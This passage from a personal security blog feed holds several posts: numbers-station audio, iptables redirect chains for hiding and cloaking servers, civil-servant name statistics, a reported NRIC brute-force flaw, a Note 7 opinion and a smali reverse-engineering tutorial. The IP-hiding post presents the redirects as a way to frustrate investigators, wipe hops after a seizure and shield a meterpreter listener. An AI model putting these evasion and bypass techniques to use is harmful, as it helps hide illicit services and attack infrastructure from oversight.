<p>Simply run the script in the background to have the routine transmission piped to your speakers. For the coded messages, I used <code>espeak</code> to convert text to speech, the default voice sounds very robotic, you could try different voice files, even Russian voices if desired. To transmit a message, kill the script and run <code>echo "93 882 NAIMINA 74 14 35 74. 9 3 8 8 2 Nikolai, Anna, Ivan, Mikhail, Ivan, Nikolai, Anna. 7 4 1 4 3 5 7 4" | espeak -s 120 -g 20 -w /dev/dsp</code>.</p>
<p>The final step is to use live podcasting software such as <code>icecast/ices2</code> to transmit the broadcast from the speakers onto the internet as a live stream.</p>
<h1>Sample Output</h1>
<p><audio src="//limbenjamin.com/media/uvb76.mp3" controls>
Your browser does not support the audio tag.
</audio></p>
<p><img alt="image" src="//limbenjamin.com/media/uvb76.png"></p>
<p>For the sample, I recorded 3 buzzer tones, the coded message, followed by 2 buzzer tones, the time broadcast and finally ending with 2 buzzer tones. Added in white noise as a bonus. </p>IP Hiding and Cloaking for Services2017-01-22T18:01:00+08:002017-01-22T18:01:00+08:00Benjamin Limtag:limbenjamin.com,2017-01-22:/articles/ip-hiding-and-cloaking-for-services.html<p>It is relatively easy to hide the IP address of clients through the use of VPNs and proxies. However, it is a challenge for services since they need to be reachable by the clients. Imagine if your phone number changed at the stroke of midnight everyday, it would be very …</p><p>It is relatively easy to hide the IP address of clients through the use of VPNs and proxies. However, it is a challenge for services since they need to be reachable by the clients. Imagine if your phone number changed at the stroke of midnight everyday, it would be very difficult for others to reach you reliably. There are many methods for IP hiding, one of which is through the use of tor. However, one drawback is that it is reachable only through a <code>.onion</code> address and hence is accessible only to very savvy internet users. Other methods used by botnets include updating the A records every few seconds, however it is impractical as it requires you to be controlling large swathes of IP addresses. </p>
<p>The method I am going to illustrate involves the use of <code>iptables</code> for both hiding and cloaking. Hiding the IP address means that the actual IP hosting the questionable content is not the same IP that is revealed through an <code>nslookup</code>. Cloaking the IP address allows you to either whitelist or blacklist certain IP addresses from accessing the questionable content, serving them innocuous content instead.</p>
<h1>Hiding IP addresses</h1>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span>
<span class="normal">2</span>
<span class="normal">3</span>
<span class="normal">4</span>
<span class="normal">5</span>
<span class="normal">6</span>
<span class="normal">7</span>
<span class="normal">8</span>
<span class="normal">9</span></pre></div></td><td class="code"><div><pre><span></span><code>piratecove.com A 2.2.2.2
piratecove.org A 3.3.3.3
piratecove.net A 4.4.4.4
2.2.2.2:443 ------\
|
3.3.3.3:443 -------------------- 6.6.6.6:54321
|
4.4.4.4:443 -- 5.5.5.5:443 /
</code></pre></div></td></tr></table></div>
<p>For the above example, we have questionable content for the website <code>piratecove</code> hosted at 6.6.6.6. For redundancy purposes, the owner has purchased 3 domains with all serving the same content. However, resolution of domain will never reveal the actual IP address. In order to perform the redirection, the following commands have to be executed on 2.2.2.2 and 3.3.3.3. </p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span>
<span class="normal">2</span>
<span class="normal">3</span></pre></div></td><td class="code"><div><pre><span></span><code>echo "1" > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A PREROUTING -p tcp -m tcp --dport 443 -j DNAT --to-destination 6.6.6.6:54321
iptables -t nat -A POSTROUTING -j MASQUERADE
</code></pre></div></td></tr></table></div>
<p>The redirection happens at the IP layer, therefore SSL connections will be end-to-end. Only encrypted traffic passes through 2.2.2.2 and no questionable content will be present on the server. However, if 2.2.2.2 is seized, investigators will be able to uncover the actual IP address by dumping the iptables rules. To get around that, we need multiple hops as implemented in 4.4.4.4.</p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span>
<span class="normal">2</span></pre></div></td><td class="code"><div><pre><span></span><code>iptables -t nat -A PREROUTING -p tcp -m tcp --dport 443 -j DNAT --to-destination 5.5.5.5:443 # Executed on 4.4.4.4
iptables -t nat -A PREROUTING -p tcp -m tcp --dport 443 -j DNAT --to-destination 6.6.6.6:54321 # Executed on 5.5.5.5
</code></pre></div></td></tr></table></div>
<p>In this particular case, once 4.4.4.4 is seized, the owner will immediately erase all data on 5.5.5.5 thus leaving a cold trail.</p>
<h1>IP Cloaking</h1>
<p>To further hinder investigations, IP cloaking can also be used. IP cloaking serves different content depending on the source IP of the visitor. Hence, if you know that Walt Sidney uses the IP range 9.9.9.9/24, we can forward this IP range to a different web server hosting a fan site dedicated to Walt Sidney.</p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span>
<span class="normal">2</span></pre></div></td><td class="code"><div><pre><span></span><code>iptables -t nat -A PREROUTING -s 9.9.9.9/24 -p tcp --dport 443 -j DNAT --to-destination 127.0.0.1:1443
iptables -t nat -A PREROUTING -p tcp -m tcp --dport 443 -j DNAT --to-destination 6.6.6.6:54321
</code></pre></div></td></tr></table></div>
<p>In other cases, whitelisting might be a better option. For example, if you have a meterpreter listener and expect clients polling from a single static IP address. It is possible to whitelist only that address to forward to your listener and serve generic content to all other IP addresses.</p>Analysis Of 35000 Senior Civil Servants2016-12-25T21:31:00+08:002016-12-25T21:31:00+08:00Benjamin Limtag:limbenjamin.com,2016-12-25:/articles/analysis-of-35000-senior-civil-servants.html<p>The civil service received a half month year-end bonus this year amid the economic downturn, but have you wondered who they are? Where do they work?</p>
<div class="admonition danger">
<p class="admonition-title">Disclaimer</p>
<p>The analysis was conducted using publicly available data from the Singapore Government Directory (SGDI). The data was pieced together from over 4000 webpages …</p></div><p>The civil service received a half month year-end bonus this year amid the economic downturn, but have you wondered who they are? Where do they work?</p>
<div class="admonition danger">
<p class="admonition-title">Disclaimer</p>
<p>The analysis was conducted using publicly available data from the Singapore Government Directory (SGDI). The data was pieced together from over 4000 webpages. I have cleaned the data to a reasonable degree before performing the analysis. There is no guarantee of the accuracy of the data.</p>
</div>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal"> 1</span>
<span class="normal"> 2</span>
<span class="normal"> 3</span>
<span class="normal"> 4</span>
<span class="normal"> 5</span>
<span class="normal"> 6</span>
<span class="normal"> 7</span>
<span class="normal"> 8</span>
<span class="normal"> 9</span>
<span class="normal">10</span>
<span class="normal">11</span>
<span class="normal">12</span></pre></div></td><td class="code"><div><pre><span></span><code>----------------------------------------------------
Number of Senior Civil Servants Listed
----------------------------------------------------
Min. Education 6020 Organs of State 1421
Min. Health 3727 PM Office 1400
Min. Transport 3549 MSF 1355
Min. Trade Ind. 3385 Min. Finance 1330
MND 3278 MEWR 1059
Min. Home Affairs 1911 Min. Law 1021
MCCY 1614 MFA 827
MCI 1551 MINDEF 242
Min. Manpower 1440
</code></pre></div></td></tr></table></div>
<p>Organs of State include the AGO, AGC as well as the courts. The numbers for the ministries include stat boards under it as well. E.g. numbers for Min. Transport include LTA. The numbers for <code>MFA</code> and <code>MINDEF</code> may be low as the public usually do not contact these 2 ministries hence there might be no need to list these officers.</p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span>
<span class="normal">2</span>
<span class="normal">3</span>
<span class="normal">4</span>
<span class="normal">5</span>
<span class="normal">6</span>
<span class="normal">7</span>
<span class="normal">8</span>
<span class="normal">9</span></pre></div></td><td class="code"><div><pre><span></span><code>--------------------------------------------
Job Roles (by keyword)
--------------------------------------------
Manager 9465 Officer 2978
Director 8818 Head 2228
Senior 7388 Principal 1437
Assistant 6025 Engineer 1150
Executive 3813 Chief 999
Deputy 3665 Specialist 704
</code></pre></div></td></tr></table></div>
<p>The numbers for <code>Deputy</code> might be lower as there is no <code>Deputy Manager</code> position, only <code>Deputy Director</code>. However the keywords <code>Senior</code> and <code>Assistant</code> apply to both managers and directors. <code>Principal</code> likely include both school principals as well as principal engineers.</p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal"> 1</span>
<span class="normal"> 2</span>
<span class="normal"> 3</span>
<span class="normal"> 4</span>
<span class="normal"> 5</span>
<span class="normal"> 6</span>
<span class="normal"> 7</span>
<span class="normal"> 8</span>
<span class="normal"> 9</span>
<span class="normal">10</span>
<span class="normal">11</span>
<span class="normal">12</span>
<span class="normal">13</span></pre></div></td><td class="code"><div><pre><span></span><code>-------------------------------------------
Top 20 most common Chinese name radicals
-------------------------------------------
Tan 3014 Bin 716
Lim 2084 Goh 697
Lee 1771 Wee 686
Ng 1359 Chan 654
Wong 902 Chua 644
Hui 889 Koh 643
Ling 822 Teo 618
Wei 803 Chee 582
Ong 732 Ho 556
Ling 727 Hong 548
</code></pre></div></td></tr></table></div>
<p>Some of the radicals such as <code>Ho</code> and <code>Wee</code> might be a surname or part of the name itself. Hence I decided to group them together as radicals. Some radicals such as <code>Lee</code> and <code>Li</code> might be the same Chinese character, however they are categorized separately.</p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal"> 1</span>
<span class="normal"> 2</span>
<span class="normal"> 3</span>
<span class="normal"> 4</span>
<span class="normal"> 5</span>
<span class="normal"> 6</span>
<span class="normal"> 7</span>
<span class="normal"> 8</span>
<span class="normal"> 9</span>
<span class="normal">10</span>
<span class="normal">11</span>
<span class="normal">12</span>
<span class="normal">13</span>
<span class="normal">14</span>
<span class="normal">15</span>
<span class="normal">16</span>
<span class="normal">17</span></pre></div></td><td class="code"><div><pre><span></span><code>-----------------------------------------------
Top 10 most common Muslim related names
-----------------------------------------------
Bin 716 Muhammad 156
Binte 499 Siti 115
Bte 364 Ahmad 98
Mohamed 263 Mohamad 95
Mohd 253 Rahman 64
-----------------------------------------------
Top 10 most common English names
-----------------------------------------------
Grace 141 Daniel 121
David 141 Cheryl 114
Michelle 132 Serene 107
Sharon 131 Michael 107
Karen 129 Jason 104
</code></pre></div></td></tr></table></div>
<p>It is interesting to note the most common spelling of <code>Mohd</code> used. <code>Bin</code> could be both a Chinese radical or a Malay name. It seems like Chinese women tend to rise higher in the civil service. Alternatively, it could be that Chinese men tend to have less common names, or that they tend to work for the private sector. There were also 133 <code>Singh</code> and 61 <code>Kaur</code>. Indian names did not feature probably because they are much more unique.</p>
<p>Honorable mention. 68 <code>Benjamin</code> listed. </p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal"> 1</span>
<span class="normal"> 2</span>
<span class="normal"> 3</span>
<span class="normal"> 4</span>
<span class="normal"> 5</span>
<span class="normal"> 6</span>
<span class="normal"> 7</span>
<span class="normal"> 8</span>
<span class="normal"> 9</span>
<span class="normal">10</span>
<span class="normal">11</span>
<span class="normal">12</span>
<span class="normal">13</span>
<span class="normal">14</span>
<span class="normal">15</span>
<span class="normal">16</span>
<span class="normal">17</span>
<span class="normal">18</span>
<span class="normal">19</span>
<span class="normal">20</span>
<span class="normal">21</span></pre></div></td><td class="code"><div><pre><span></span><code>-----------------------------------------------
Top 10 most common Double word matches
-----------------------------------------------
Bin Abdul 62 Lim Siew 42
Tan Hui 56 Bin Mohd 40
Tan Li 46 Wei Ling 39
Binte Mohamed 45 Bin Mohamed 38
Hui Min 42 Tan Siew 34
Abdul Rahman 29 (Follow up of Bin Abdul)
Li Ling 26 (Follow up of Tan Li)
Abdul Aziz 19 (Follow up of Bin Abdul)
-----------------------------------------------
Full name matches
-----------------------------------------------
Michelle Tan 9 Julie Ng 8
Serene Tan 9 Elaine Teo 7
Sharon Tan 9 Tan Hui Ling 7
Elaine Tan 8 Grace Ng 7
Jasmine Neo 8 Jasmine Lim 7
</code></pre></div></td></tr></table></div>
<p>The <code>Tans</code> feature prominently here. It is the most common surname but I didn't expect such a skewed result. Maybe the <code>Tans</code> tend to lack creativity. There are a few rare exact chinese name matches as well, 7 <code>Tan Hui Ling</code> working for different ministries.</p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span>
<span class="normal">2</span>
<span class="normal">3</span>
<span class="normal">4</span>
<span class="normal">5</span>
<span class="normal">6</span></pre></div></td><td class="code"><div><pre><span></span><code>---------------------------
All time most popular combo
---------------------------
- Michelle Tan Hui Min
- Serene Tan Li Ling
- Mohamed Rahman Bin Abdul Aziz
</code></pre></div></td></tr></table></div>Authenticating with NRIC numbers2016-11-13T20:35:00+08:002016-11-13T20:35:00+08:00Benjamin Limtag:limbenjamin.com,2016-11-13:/articles/authenticating-with-nric-numbers.html<p>I was recently asked to take a survey which authenticated users solely using IC numbers. According to guideline 6 of PDPC's <a href="https://www.pdpc.gov.sg/docs/default-source/advisory-guidelines---selected-topics/nric-numbers-(chapter-6)-110914.pdf?sfvrsn=2">advisory on the use of NRIC numbers</a>, NRIC numbers are widely used for various business purposes and organisations that use NRIC numbers as user names or membership numbers might …</p><p>I was recently asked to take a survey which authenticated users solely using IC numbers. According to guideline 6 of PDPC's <a href="https://www.pdpc.gov.sg/docs/default-source/advisory-guidelines---selected-topics/nric-numbers-(chapter-6)-110914.pdf?sfvrsn=2">advisory on the use of NRIC numbers</a>, NRIC numbers are widely used for various business purposes and organisations that use NRIC numbers as user names or membership numbers might be disclosing personal data to third parties without consent. Under what circumstances then is it alright to use NRIC numbers for authentication?</p>
<p><img alt="survey" src="//limbenjamin.com/media/survey.png"></p>
<p>The survey login page requires only your NRIC number in order to authenticate. This is perfectly acceptable, what is the worst that could happen? Someone who knows your NRIC number could do the survey on your behalf. If he knows the NRIC number of multiple respondents, he could skew the survey results by a substantial margin. At this point, I believe the risks are still acceptable and no great damage has been done. Organizations performing surveys may face certain constraints, this could be the first time they are contacting the respondents and do not have any other channel to securely communicate a password. Even if they had, respondents might find it too much of a hassle to enter the password and it might deter them from completing the survey.</p>
<p><img alt="survey2" src="//limbenjamin.com/media/survey2.png"></p>
<p>Here is where it starts getting gnarly. The respondent's full name, email, phone number and address is pre-filled on the last page of the survey. In this particular case, the information was obtained through legitimate means. At this point, I believe that the NRIC number alone as a form of authentication is insufficient to protect all the personal information. The problem is further exacerbated by the fact that this particular survey is conducted across a cohort, hence most respondent's NRIC number would start with the same few digits. A brute force attack is likely to be possible. I tested out this hypothesis by decrementing my NRIC number by 1 digit at a time, calculating the checksum and trying out that number. I succeeded after less than 20 tries, getting into my "NRIC neighbour's" account and revealing his personal details. I immediately contacted the party in charge of the survey to highlight this issue.</p>
<p><img alt="survey3" src="//limbenjamin.com/media/survey3.png"></p>
<p>To their credit, they responded almost immediately and fixed the problem within 3 days. They decided to remove the pre-filled fields so as to stem the information leakage. This is a perfectly acceptable solution, albeit at the cost of convenience. Respondents will now have to type their contact details. Will this deter them? I do not think so, they can click submit without entering their details, especially if they are not interested in the lucky draw.</p>
<p>There are a number of alternative solutions.</p>
<ol>
<li>
<p>Enhance the authentication process by requiring respondents to enter date of birth or other privileged information on the login page. I am unsure if this organization has the date of birth of respondents, but there is at least one other piece of information that can be requested and is not part of the information being verified.</p>
</li>
<li>
<p>Redact part of the contact information, (e.g. 9123-████, Blk ███ Serangoon Ave 4 #██-██ Singapore ██████). This method does have its drawbacks as well. Firstly, some information is still being leaked. Secondly, it might not be able to catch typos in the information being verified, e.g. wrong number in the last 4 digits of the phone number. Thirdly, it might not work for special cases, e.g. only 1 house on the entire street. I have encountered a certain bank which redacts all middle characters in email address, (e.g. a████a@gmail.com, b████████b@hotmail.com). It works until you encounter edge cases, e.g. custom domains or short emails, (e.g. a█a@live.com.sg, p█████c@limbenjamin.com). Yes, some of us are lucky enough to get short emails addresses or even twitter handles.</p>
</li>
</ol>
<p>There is no short answer to whether using NRIC number alone is sufficient for authentication. It might be feasible if no privileged information is leaked and no privileged access is being granted. However, in most cases, NRIC numbers are used as identification while a separate piece of information such as a password is used to authenticate. </p>Security Theatre: Samsung Note 72016-10-16T22:43:00+08:002016-10-16T22:43:00+08:00Benjamin Limtag:limbenjamin.com,2016-10-16:/articles/security-theatre-samsung-note-7.html<p>Go google for photos of 'exploding Note 7' and you will realise that in every single photo, the phone is still intact in a one piece. If the phone really exploded, you would be looking at fragments scattered over an area. The Note 7 caught fire. It didn't explode. The …</p><p>Go google for photos of 'exploding Note 7' and you will realise that in every single photo, the phone is still intact in a one piece. If the phone really exploded, you would be looking at fragments scattered over an area. The Note 7 caught fire. It didn't explode. The media just blows (no pun intended) things out of proportion. Unfortunately, some entities, like the US Department of Transportation, lack critical thinking skills and swallow these reports whole.</p>
<p>The Samsung Note 7 and its replacement has been catching fire at a rate of about <a href="http://arstechnica.com/gadgets/2016/10/were-now-up-to-five-reports-of-safe-galaxy-note-7s-exploding-worldwide/">1 device per day</a>. Given that <a href="https://www.cnet.com/news/over-1-million-samsung-galaxy-note-7-phones-still-on-recall/">over 1 million</a> devices have been sold, there is literally a 1 in a million chance of it catching fire every day. </p>
<p>The average person spends so little of his time in the air that he is more likely to die in a car accident on the way to the airport than flying in the plane. Yet, the US Department of Transportation has found a need to <a href="http://www.mirror.co.uk/tech/samsung-galaxy-note7-smartphones-banned-9049453">ban the phones</a> on board US flights. In my opinion, such a move is security theatre, a measure that is designed to incite fear and panic while providing no improvement in security whatsoever. It inconveniences the general public greatly, TSA officers have to go through a crash course on recognizing the Note 7, they have to check all passengers' phones in addition to their other belongings. This is no easy feat considering how most smartphones today look very much alike. In addition, Note 7 users who were on vacation will now have to find some way to ship their phones back home since it cannot go on board the plane.</p>
<p>It should be sufficient to just rely on passenger's prudence. Any sane Note 7 owner who treasures his own well-being would minimise or even totally avoid using the phone whether on land or when flying. Statistically speaking, each flight would have at most a handful of Note 7 users. Each device has a 1 in a million chance of catching fire, assuming the flight duration is 24 hours. Shorter flights have even lower risks. Even if the stars align and a Note 7 catches fire, it would likely injure only the owner himself. Look up "Lithium ion phone battery fires" on YouTube, it is a small fire that can be put out with the blankets that the airlines hand out.</p>
<p>The only reason why this is such a huge incident is because of Samsung's reputation and the sheer number of devices sold. I am willing to bet that there are many China knock-off phones and laptops which are just as likely to catch fire. Given the larger capacity of laptop batteries, it is likely to pose a greater threat. In conclusion, I believe the ban was unwarranted and simply security theatre.</p>National Vulnerability Reporting Programme2016-09-18T15:15:00+08:002016-09-18T15:15:00+08:00Benjamin Limtag:limbenjamin.com,2016-09-18:/articles/national-vulnerability-reporting-programme.html<p>Recent incidents have convinced me of the need to have a single avenue where the public can responsibly disclose vulnerabilities found on both government as well as commercial systems in a secure and efficient manner. While using these systems on a day to day basis, we sometimes do chance upon …</p><p>Recent incidents have convinced me of the need to have a single avenue where the public can responsibly disclose vulnerabilities found on both government as well as commercial systems in a secure and efficient manner. While using these systems on a day to day basis, we sometimes do chance upon these vulnerabilities. It is crucial to make the vulnerability reporting process as pain free and seamless as possible, so as not to turn us off from reporting them. I believe that SingCERT is a suitable location to house this programme as SingCERT already handles the incident reporting process and works with both the public and private sector to resolve these incidents.</p>
<h1>Convenience</h1>
<p>Reporting vulnerabilities is a cumbersome process. Firstly, it is impossible to go through the normal customer service email or hotline. The customer service officers are trained only to deal with routine usability issues and cannot comprehend the fact that the system actually has a problem. They will stonewall you and refuse to escalate the case. One has to literally barge in through the front door with proof of the vulnerability and demand to speak to someone who understands the problem. To compound the issue, most ministries/stat boards only function from 9am - 5pm, Monday to Friday, which means that you actually have to take leave to go down to report the vulnerability.</p>
<p>With the vulnerability reporting programme in place, you can send an email with details of the vulnerability and SingCERT will follow up with the relevant agency during office hours. </p>
<h1>Conflict of interest</h1>
<p>Assuming that you have managed to cross the first hurdle, the second issue is a blatant conflict of interest. You will be speaking to the department in charge of maintaining the system. If they acknowledge the existence of the vulnerability, it would mean more work for them to resolve it. They would probably also have to answer to their superiors on why the vulnerability was not picked up before the system launch. It is therefore in their best interest to cover it up. This is easily done by claiming that it is a "business decision" to design the system in such a way. Even if you are able to suggest a quick fix, they will counter with the argument that there is too much "red tape" involved just to even change a single line of code. </p>
<p>Officers from SingCERT would be able to make a more impartial assessment on whether the vulnerability is critical enough to warrant a patch or if the current risks are acceptable. Furthermore, since they have the mandate and coming through the proper channel, it is more difficult to simply brush them off.</p>
<h1>Responsible disclosure</h1>
<p>In order to be taken seriously and gain an audience with the relevant agency, you will need to provide proof that you have managed to exploit the vulnerability. This can be as simple as a screenshot of a page which you are not supposed to be able to access. By sending the proof to them, you are also sending them evidence of your illegal actions. Your intentions might be good. You might not have made any unauthorised modifications or accessed any other privileged information. However, you have still committed a crime and that evidence may be used against you. If the system contains member of public's personal information, the ethical thing to do may be to publish the vulnerability to force them to patch it, so malicious hackers can no longer access it. In such a case, they can and will use that evidence to blackmail you into silence.</p>
<p>SingCERT should publish an ethical hacking policy and the public will need to abide by the policy to participate in the programme. As of now, if you suspect a vulnerability in a particular system, you can either choose to break the law or turn a blind eye. It is impossible to obtain permission from an agency to confirm your suspicions.</p>
<h1>Recognition</h1>
<p>Providing recognition is a cheap way to encourage more participation in the programme. A letter of appreciation would do well to pad a budding security researcher's resume. If you are feeling generous, offering a bug bounty will provide even more incentive for others to come forward to disclose bugs.</p>
<p>We are preparing to launch the SGSecure movement at the end of this month. One overarching theme is the necessity of community involvement and support in the fight against terrorism. Needless to say, an attack targeting critical sectors such as our utilities and transportation system would be devastating. Help us to help you create a more secure Singapore.</p>
<p>-----BEGIN PGP SIGNATURE-----<br>
Version: GnuPG v1 </p>
<p>iQIcBAEBAgAGBQJX3mOJAAoJEAuReErcSGBf1MQQAIQdYvGJl2KuoBfeqMNTz/7Y<br>
fi0HZ6qIJBcFtLXbwH3oCavAQNgu/GKOUfMgIwYYGkZfHB7Tk/MOQvShr70LOvws<br>
jBxODhmhEMB6kXBIGYtZ80KzEN0tzYCrz/666SssUIlIN3Ekq7oBm2gcQqHYcqxl<br>
gpivuqZChYM1wQRo/XVFtFgdSpdcXgYWKO1k+Ashmyo4Km1fR0QkSyOakocvyOKd<br>
NuF+wy3i9meuYnzr1mCj261m5S5d0ToHG+mpYfACkGwAl+aASkxVqmjJkKOx9+3z<br>
RxwE5mzjDRnaSLa5cWv+UwB1SF8XThsbgi6OERoq7dXymcMFDDzyIsUCt8BtO5t7<br>
OOjATTFSthJ5aAffGYb9xrfOiHf7KHZkIoW/IeB9PRflCr3wZO/dPWfYXp5MuG7i<br>
Ia2xlzcik9sVSQB9H3t8Nt/FSeGyF+w7TezzOYX3RrPzCxO3mSHAedbafvykl3bL<br>
nRDZkzogBOj53Ll+feCUZ75YnvtA8C6jXSrDDtWNG0OBj6grd5O4NSrITj6CCMde<br>
n38VJd9xzBi9l/NV9DwuIplsZXk/UnuQMjWWTiYuAEAqb90F3xdKWYiDKBHAySJm<br>
8sC+qt5Xx7qToTcEVInaQOLWXqmfF/y2n9maSqOh/MRKdbJvZQShDaaMSZwo95Qs<br>
Snto3rClDF50GNBKqDxY<br>
=rzz2<br>
-----END PGP SIGNATURE----- </p>Analysing smali code2016-08-06T19:55:00+08:002016-08-06T19:55:00+08:00Benjamin Limtag:limbenjamin.com,2016-08-06:/articles/analysing-smali-code.html<p>Mobile apps have become increasingly widespread compared to their desktop counterparts. In addition, many apps often have stricter security requirements since they incorporate micropayments. We also perform sensitive transactions through mobile apps. For example, there are no desktop internet banking applications, we use the browser to perform such transactions. But …</p><p>Mobile apps have become increasingly widespread compared to their desktop counterparts. In addition, many apps often have stricter security requirements since they incorporate micropayments. We also perform sensitive transactions through mobile apps. For example, there are no desktop internet banking applications, we use the browser to perform such transactions. But nowadays, we have internet banking apps. If the app is a webview that simply opens up a webpage, then there is less cause for concern. However, if server side code is moved into the app, there is a need to ensure that the code cannot be reverse engineered and bypassed. </p>
<div class="admonition danger">
<p class="admonition-title">Disclaimer</p>
<p>Reverse Engineering certain apps may be illegal. Fraudulently obtaining tokens, credits or other in app items may also be illegal. This article is strictly for educational purposes. I am not responsible for your actions. </p>
</div>
<h1>Reverse Engineering Process</h1>
<p>The first step in reverse engineering an android app is to extract the APK file from the device. We then need to unpack the APK file and disassemble it to obtain smali code. smali is an assembly language that runs on Dalvik VM, which is Android's JVM. smali code can be obtained by 'baksmaling' Dalvik executable files (.dex). Fortunately, there are tools which automate the entire process. I recommend <a href="http://www.vaibhavpandey.com/apkstudio/">APK Studio</a>, which I found to be very handy, especially since you can build, export and install the app directly from the IDE. </p>
<p>The next step is to try to obtain the java source code. <a href="https://github.com/skylot/jadx">JADX</a> is a dex to Java decompiler. Java source code is much easier to read compared to dex code, just as C is much easier to read compared to assembly code. However, I have found that <code>JADX</code> does not produce recompilable source code. Hence, I make use of the Java source to understand the code, identify the location that I wish to make a change, find the corresponding location in the smali code, edit the smali code, build, export, install and run. If <code>proguard</code> was used during the compilation process, you will get obfuscated class and method names, which will slow you down quite a bit. Otherwise, you get Java code that is very close to the original, including the comments left by the developer.</p>
<h1>Example</h1>
<p>We will look at the Java and smali code of a very simple example.</p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span>
<span class="normal">2</span>
<span class="normal">3</span>
<span class="normal">4</span>
<span class="normal">5</span>
<span class="normal">6</span></pre></div></td><td class="code"><div><pre><span></span><code><span class="kd">public</span><span class="w"> </span><span class="kt">int</span><span class="w"> </span><span class="nf">getTokens</span><span class="p">(</span><span class="kt">int</span><span class="w"> </span><span class="n">amt</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="na">isPaid</span><span class="w"> </span><span class="o">&&</span><span class="w"> </span><span class="k">this</span><span class="p">.</span><span class="na">handler</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="kc">null</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="k">this</span><span class="p">.</span><span class="na">handler</span><span class="p">.</span><span class="na">creditTokens</span><span class="p">(</span><span class="n">amt</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></td></tr></table></div>
<p>And the smali equivalent.</p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal"> 1</span>
<span class="normal"> 2</span>
<span class="normal"> 3</span>
<span class="normal"> 4</span>
<span class="normal"> 5</span>
<span class="normal"> 6</span>
<span class="normal"> 7</span>
<span class="normal"> 8</span>
<span class="normal"> 9</span>
<span class="normal">10</span>
<span class="normal">11</span>
<span class="normal">12</span>
<span class="normal">13</span>
<span class="normal">14</span>
<span class="normal">15</span>
<span class="normal">16</span>
<span class="normal">17</span>
<span class="normal">18</span>
<span class="normal">19</span>
<span class="normal">20</span>
<span class="normal">21</span>
<span class="normal">22</span>
<span class="normal">23</span>
<span class="normal">24</span>
<span class="normal">25</span>
<span class="normal">26</span>
<span class="normal">27</span>
<span class="normal">28</span>
<span class="normal">29</span>
<span class="normal">30</span>
<span class="normal">31</span>
<span class="normal">32</span>
<span class="normal">33</span>
<span class="normal">34</span></pre></div></td><td class="code"><div><pre><span></span><code><span class="k">.method</span><span class="w"> </span><span class="k">public</span><span class="w"> </span><span class="nf">getTokens</span><span class="p">(</span><span class="kt">I</span><span class="p">)</span><span class="kt">I</span>
<span class="w"> </span><span class="k">.locals</span><span class="w"> </span><span class="mi">2</span>
<span class="w"> </span><span class="p">.</span>param<span class="w"> </span><span class="nb">p1</span><span class="p">,</span><span class="w"> </span><span class="s">"amt"</span><span class="w"> </span><span class="c"># I</span>
<span class="w"> </span><span class="k">.prologue</span>
<span class="w"> </span>const/4<span class="w"> </span><span class="nb">v0</span><span class="p">,</span><span class="w"> </span><span class="mh">0x0</span>
<span class="w"> </span><span class="k">.line</span><span class="w"> </span><span class="mi">2</span>
<span class="w"> </span>iget-boolean<span class="w"> </span><span class="nb">v1</span><span class="p">,</span><span class="w"> </span><span class="nb">p0</span><span class="p">,</span><span class="w"> </span><span class="kt">L</span>com/limbenjamin/<span class="nc">Example</span>;<span class="p">-></span><span class="nv">isPaid</span><span class="p">:</span><span class="kt">Z</span>
<span class="w"> </span>if-nez<span class="w"> </span><span class="nb">v1</span><span class="p">,</span><span class="w"> </span><span class="nl">:cond_1</span>
<span class="w"> </span><span class="k">.line</span><span class="w"> </span><span class="mi">5</span>
<span class="w"> </span><span class="nl">:cond_0</span>
<span class="w"> </span><span class="nl">:goto_0</span>
<span class="w"> </span>return<span class="w"> </span><span class="nb">v0</span>
<span class="w"> </span><span class="k">.line</span><span class="w"> </span><span class="mi">2</span>
<span class="w"> </span><span class="nl">:cond_1</span>
<span class="w"> </span>iget-object<span class="w"> </span><span class="nb">v1</span><span class="p">,</span><span class="w"> </span><span class="nb">p0</span><span class="p">,</span><span class="w"> </span><span class="kt">L</span>com/limbenjamin/<span class="nc">Example</span>;<span class="p">-></span><span class="nv">handler</span><span class="p">:</span><span class="kt">L</span>com/limbenjamin/<span class="nc">ExampleHandler</span>;
<span class="w"> </span>if-eqz<span class="w"> </span><span class="nb">v1</span><span class="p">,</span><span class="w"> </span><span class="nl">:cond_0</span>
<span class="w"> </span><span class="k">.line</span><span class="w"> </span><span class="mi">3</span>
<span class="w"> </span>move<span class="w"> </span><span class="nb">v3</span><span class="p">,</span><span class="w"> </span><span class="nb">p1</span>
<span class="w"> </span>iget-object<span class="w"> </span><span class="nb">v0</span><span class="p">,</span><span class="w"> </span><span class="nb">p0</span><span class="p">,</span><span class="w"> </span><span class="kt">L</span>com/limbenjamin/<span class="nc">Example</span>;<span class="p">-></span><span class="nv">handler</span><span class="p">:</span><span class="kt">L</span>com/limbenjamin/<span class="nc">ExampleHandler</span>;
